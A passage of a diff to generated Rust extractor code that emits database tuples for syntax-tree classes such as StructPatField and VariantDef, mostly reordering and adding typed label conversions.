-impl From<trap::Label<SourceFile>> for trap::Label<Element> {
-    fn from(value: trap::Label<SourceFile>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SourceFile is a subclass of Element
+impl From<trap::Label<StructField>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StructField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructField is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<SourceFile>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<SourceFile>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SourceFile is a subclass of Locatable
+impl From<trap::Label<StructField>> for trap::Label<Element> {
+    fn from(value: trap::Label<StructField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructField is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2601,35 +2674,57 @@ impl From<trap::Label<SourceFile>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct Stmt {
-    _unused: ()
+pub struct StructPatField {
+    pub id: trap::TrapId<StructPatField>,
+    pub attrs: Vec<trap::Label<Attr>>,
+    pub identifier: Option<trap::Label<NameRef>>,
+    pub pat: Option<trap::Label<Pat>>,
 }
 
-impl trap::TrapClass for Stmt {
-    fn class_name() -> &'static str { "Stmt" }
+impl trap::TrapEntry for StructPatField {
+    fn extract_id(&mut self) -> trap::TrapId<Self> {
+        std::mem::replace(&mut self.id, trap::TrapId::Star)
+    }
+
+    fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
+        out.add_tuple("struct_pat_fields", vec![id.into()]);
+        for (i, v) in self.attrs.into_iter().enumerate() {
+            out.add_tuple("struct_pat_field_attrs", vec![id.into(), i.into(), v.into()]);
+        }
+        if let Some(v) = self.identifier {
+            out.add_tuple("struct_pat_field_identifiers", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.pat {
+            out.add_tuple("struct_pat_field_pats", vec![id.into(), v.into()]);
+        }
+    }
 }
 
-impl From<trap::Label<Stmt>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<Stmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Stmt is a subclass of AstNode
+impl trap::TrapClass for StructPatField {
+    fn class_name() -> &'static str { "StructPatField" }
+}
+
+impl From<trap::Label<StructPatField>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StructPatField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPatField is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Stmt>> for trap::Label<Element> {
-    fn from(value: trap::Label<Stmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Stmt is a subclass of Element
+impl From<trap::Label<StructPatField>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StructPatField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPatField is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Stmt>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<Stmt>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Stmt is a subclass of Locatable
+impl From<trap::Label<StructPatField>> for trap::Label<Element> {
+    fn from(value: trap::Label<StructPatField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPatField is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2637,57 +2732,53 @@ impl From<trap::Label<Stmt>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct StmtList {
-    pub id: trap::TrapId<StmtList>,
-    pub attrs: Vec<trap::Label<Attr>>,
-    pub statements: Vec<trap::Label<Stmt>>,
-    pub tail_expr: Option<trap::Label<Expr>>,
+pub struct StructPatFieldList {
+    pub id: trap::TrapId<StructPatFieldList>,
+    pub fields: Vec<trap::Label<StructPatField>>,
+    pub rest_pat: Option<trap::Label<RestPat>>,
 }
 
-impl trap::TrapEntry for StmtList {
+impl trap::TrapEntry for StructPatFieldList {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("stmt_lists", vec![id.into()]);
-        for (i, v) in self.attrs.into_iter().enumerate() {
-            out.add_tuple("stmt_list_attrs", vec![id.into(), i.into(), v.into()]);
-        }
-        for (i, v) in self.statements.into_iter().enumerate() {
-            out.add_tuple("stmt_list_statements", vec![id.into(), i.into(), v.into()]);
+        out.add_tuple("struct_pat_field_lists", vec![id.into()]);
+        for (i, v) in self.fields.into_iter().enumerate() {
+            out.add_tuple("struct_pat_field_list_fields", vec![id.into(), i.into(), v.into()]);
         }
-        if let Some(v) = self.tail_expr {
-            out.add_tuple("stmt_list_tail_exprs", vec![id.into(), v.into()]);
+        if let Some(v) = self.rest_pat {
+            out.add_tuple("struct_pat_field_list_rest_pats", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for StmtList {
-    fn class_name() -> &'static str { "StmtList" }
+impl trap::TrapClass for StructPatFieldList {
+    fn class_name() -> &'static str { "StructPatFieldList" }
 }
 
-impl From<trap::Label<StmtList>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<StmtList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme StmtList is a subclass of AstNode
+impl From<trap::Label<StructPatFieldList>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StructPatFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPatFieldList is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<StmtList>> for trap::Label<Element> {
-    fn from(value: trap::Label<StmtList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme StmtList is a subclass of Element
+impl From<trap::Label<StructPatFieldList>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StructPatFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPatFieldList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<StmtList>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<StmtList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme StmtList is a subclass of Locatable
+impl From<trap::Label<StructPatFieldList>> for trap::Label<Element> {
+    fn from(value: trap::Label<StructPatFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructPatFieldList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2712,18 +2803,18 @@ impl From<trap::Label<Token>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Token>> for trap::Label<Element> {
+impl From<trap::Label<Token>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Token>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Token is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Token is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Token>> for trap::Label<Locatable> {
+impl From<trap::Label<Token>> for trap::Label<Element> {
     fn from(value: trap::Label<Token>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Token is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Token is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2758,18 +2849,18 @@ impl From<trap::Label<TokenTree>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<TokenTree>> for trap::Label<Element> {
+impl From<trap::Label<TokenTree>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TokenTree>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TokenTree is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TokenTree is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TokenTree>> for trap::Label<Locatable> {
+impl From<trap::Label<TokenTree>> for trap::Label<Element> {
     fn from(value: trap::Label<TokenTree>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TokenTree is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TokenTree is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2816,18 +2907,18 @@ impl From<trap::Label<TupleField>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<TupleField>> for trap::Label<Element> {
+impl From<trap::Label<TupleField>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TupleField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleField is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TupleField is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TupleField>> for trap::Label<Locatable> {
+impl From<trap::Label<TupleField>> for trap::Label<Element> {
     fn from(value: trap::Label<TupleField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TupleField is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TupleField is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2882,18 +2973,18 @@ impl From<trap::Label<TypeBound>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<TypeBound>> for trap::Label<Element> {
+impl From<trap::Label<TypeBound>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TypeBound>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeBound is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TypeBound is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeBound>> for trap::Label<Locatable> {
+impl From<trap::Label<TypeBound>> for trap::Label<Element> {
     fn from(value: trap::Label<TypeBound>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeBound is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TypeBound is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2932,18 +3023,18 @@ impl From<trap::Label<TypeBoundList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<TypeBoundList>> for trap::Label<Element> {
+impl From<trap::Label<TypeBoundList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TypeBoundList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeBoundList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TypeBoundList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeBoundList>> for trap::Label<Locatable> {
+impl From<trap::Label<TypeBoundList>> for trap::Label<Element> {
     fn from(value: trap::Label<TypeBoundList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeBoundList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TypeBoundList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2968,18 +3059,18 @@ impl From<trap::Label<TypeRepr>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<TypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<TypeRepr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<TypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme TypeRepr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<TypeRepr>> for trap::Label<Locatable> {
+impl From<trap::Label<TypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<TypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme TypeRepr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme TypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3004,18 +3095,18 @@ impl From<trap::Label<UseBoundGenericArg>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<UseBoundGenericArg>> for trap::Label<Element> {
+impl From<trap::Label<UseBoundGenericArg>> for trap::Label<Locatable> {
     fn from(value: trap::Label<UseBoundGenericArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UseBoundGenericArg is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme UseBoundGenericArg is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<UseBoundGenericArg>> for trap::Label<Locatable> {
+impl From<trap::Label<UseBoundGenericArg>> for trap::Label<Element> {
     fn from(value: trap::Label<UseBoundGenericArg>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UseBoundGenericArg is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme UseBoundGenericArg is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3054,18 +3145,18 @@ impl From<trap::Label<UseBoundGenericArgs>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<UseBoundGenericArgs>> for trap::Label<Element> {
+impl From<trap::Label<UseBoundGenericArgs>> for trap::Label<Locatable> {
     fn from(value: trap::Label<UseBoundGenericArgs>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UseBoundGenericArgs is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme UseBoundGenericArgs is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<UseBoundGenericArgs>> for trap::Label<Locatable> {
+impl From<trap::Label<UseBoundGenericArgs>> for trap::Label<Element> {
     fn from(value: trap::Label<UseBoundGenericArgs>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UseBoundGenericArgs is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme UseBoundGenericArgs is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3116,18 +3207,18 @@ impl From<trap::Label<UseTree>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<UseTree>> for trap::Label<Element> {
+impl From<trap::Label<UseTree>> for trap::Label<Locatable> {
     fn from(value: trap::Label<UseTree>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UseTree is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme UseTree is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<UseTree>> for trap::Label<Locatable> {
+impl From<trap::Label<UseTree>> for trap::Label<Element> {
     fn from(value: trap::Label<UseTree>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UseTree is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme UseTree is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3166,6 +3257,15 @@ impl From<trap::Label<UseTreeList>> for trap::Label<AstNode> {
     }
 }
 
+impl From<trap::Label<UseTreeList>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<UseTreeList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme UseTreeList is a subclass of Locatable
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
 impl From<trap::Label<UseTreeList>> for trap::Label<Element> {
     fn from(value: trap::Label<UseTreeList>) -> Self {
         // SAFETY: this is safe because in the dbscheme UseTreeList is a subclass of Element
@@ -3175,9 +3275,36 @@ impl From<trap::Label<UseTreeList>> for trap::Label<Element> {
     }
 }
 
-impl From<trap::Label<UseTreeList>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<UseTreeList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme UseTreeList is a subclass of Locatable
+#[derive(Debug)]
+pub struct VariantDef {
+    _unused: ()
+}
+
+impl trap::TrapClass for VariantDef {
+    fn class_name() -> &'static str { "VariantDef" }
+}
+
+impl From<trap::Label<VariantDef>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<VariantDef>) -> Self {
+        // SAFETY: this is safe because in the dbscheme VariantDef is a subclass of AstNode
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+impl From<trap::Label<VariantDef>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<VariantDef>) -> Self {
+        // SAFETY: this is safe because in the dbscheme VariantDef is a subclass of Locatable
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
+}
+
+impl From<trap::Label<VariantDef>> for trap::Label<Element> {
+    fn from(value: trap::Label<VariantDef>) -> Self {
+        // SAFETY: this is safe because in the dbscheme VariantDef is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3216,18 +3343,18 @@ impl From<trap::Label<VariantList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<VariantList>> for trap::Label<Element> {
+impl From<trap::Label<VariantList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<VariantList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme VariantList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme VariantList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<VariantList>> for trap::Label<Locatable> {
+impl From<trap::Label<VariantList>> for trap::Label<Element> {
     fn from(value: trap::Label<VariantList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme VariantList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme VariantList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3266,18 +3393,18 @@ impl From<trap::Label<Visibility>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<Visibility>> for trap::Label<Element> {
+impl From<trap::Label<Visibility>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Visibility>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Visibility is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Visibility is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Visibility>> for trap::Label<Locatable> {
+impl From<trap::Label<Visibility>> for trap::Label<Element> {
     fn from(value: trap::Label<Visibility>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Visibility is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Visibility is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3316,18 +3443,18 @@ impl From<trap::Label<WhereClause>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<WhereClause>> for trap::Label<Element> {
+impl From<trap::Label<WhereClause>> for trap::Label<Locatable> {
     fn from(value: trap::Label<WhereClause>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WhereClause is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme WhereClause is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<WhereClause>> for trap::Label<Locatable> {
+impl From<trap::Label<WhereClause>> for trap::Label<Element> {
     fn from(value: trap::Label<WhereClause>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WhereClause is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme WhereClause is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3378,18 +3505,18 @@ impl From<trap::Label<WherePred>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<WherePred>> for trap::Label<Element> {
+impl From<trap::Label<WherePred>> for trap::Label<Locatable> {
     fn from(value: trap::Label<WherePred>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WherePred is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme WherePred is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<WherePred>> for trap::Label<Locatable> {
+impl From<trap::Label<WherePred>> for trap::Label<Element> {
     fn from(value: trap::Label<WherePred>) -> Self {
-        // SAFETY: this is safe because in the dbscheme WherePred is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme WherePred is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3427,36 +3554,36 @@ impl trap::TrapClass for ArrayExprInternal {
     fn class_name() -> &'static str { "ArrayExprInternal" }
 }
 
-impl From<trap::Label<ArrayExprInternal>> for trap::Label<AstNode> {
+impl From<trap::Label<ArrayExprInternal>> for trap::Label<Expr> {
     fn from(value: trap::Label<ArrayExprInternal>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArrayExprInternal is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ArrayExprInternal is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ArrayExprInternal>> for trap::Label<Element> {
+impl From<trap::Label<ArrayExprInternal>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ArrayExprInternal>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArrayExprInternal is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ArrayExprInternal is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ArrayExprInternal>> for trap::Label<Expr> {
+impl From<trap::Label<ArrayExprInternal>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ArrayExprInternal>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArrayExprInternal is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme ArrayExprInternal is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ArrayExprInternal>> for trap::Label<Locatable> {
+impl From<trap::Label<ArrayExprInternal>> for trap::Label<Element> {
     fn from(value: trap::Label<ArrayExprInternal>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArrayExprInternal is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ArrayExprInternal is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3490,18 +3617,18 @@ impl trap::TrapClass for ArrayTypeRepr {
     fn class_name() -> &'static str { "ArrayTypeRepr" }
 }
 
-impl From<trap::Label<ArrayTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<ArrayTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<ArrayTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArrayTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ArrayTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ArrayTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<ArrayTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ArrayTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArrayTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ArrayTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3517,9 +3644,9 @@ impl From<trap::Label<ArrayTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<ArrayTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<ArrayTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<ArrayTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ArrayTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme ArrayTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3563,18 +3690,18 @@ impl From<trap::Label<AsmClobberAbi>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmClobberAbi>> for trap::Label<Element> {
+impl From<trap::Label<AsmClobberAbi>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmClobberAbi>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmClobberAbi is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmClobberAbi is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmClobberAbi>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmClobberAbi>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmClobberAbi>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmClobberAbi is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmClobberAbi is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3626,18 +3753,18 @@ impl From<trap::Label<AsmConst>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmConst>> for trap::Label<Element> {
+impl From<trap::Label<AsmConst>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmConst>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmConst is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmConst is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmConst>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmConst>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmConst>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmConst is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmConst is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3675,36 +3802,36 @@ impl trap::TrapClass for AsmExpr {
     fn class_name() -> &'static str { "AsmExpr" }
 }
 
-impl From<trap::Label<AsmExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<AsmExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<AsmExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme AsmExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmExpr>> for trap::Label<Element> {
+impl From<trap::Label<AsmExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<AsmExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmExpr>> for trap::Label<Expr> {
+impl From<trap::Label<AsmExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme AsmExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3752,18 +3879,18 @@ impl From<trap::Label<AsmLabel>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmLabel>> for trap::Label<Element> {
+impl From<trap::Label<AsmLabel>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmLabel>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmLabel is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmLabel is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmLabel>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmLabel>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmLabel>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmLabel is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmLabel is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3815,18 +3942,18 @@ impl From<trap::Label<AsmOperandNamed>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmOperandNamed>> for trap::Label<Element> {
+impl From<trap::Label<AsmOperandNamed>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmOperandNamed>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOperandNamed is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmOperandNamed is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmOperandNamed>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmOperandNamed>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmOperandNamed>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOperandNamed is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmOperandNamed is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -3874,18 +4001,18 @@ impl From<trap::Label<AsmOptionsList>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<AsmOptionsList>> for trap::Label<Element> {
+impl From<trap::Label<AsmOptionsList>> for trap::Label<Locatable> {
     fn from(value: trap::Label<AsmOptionsList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOptionsList is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme AsmOptionsList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<AsmOptionsList>> for trap::Label<Locatable> {
+impl From<trap::Label<AsmOptionsList>> for trap::Label<Element> {
     fn from(value: trap::Label<AsmOptionsList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme AsmOptionsList is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme AsmOptionsList is a subclass of Element
         unsafe {
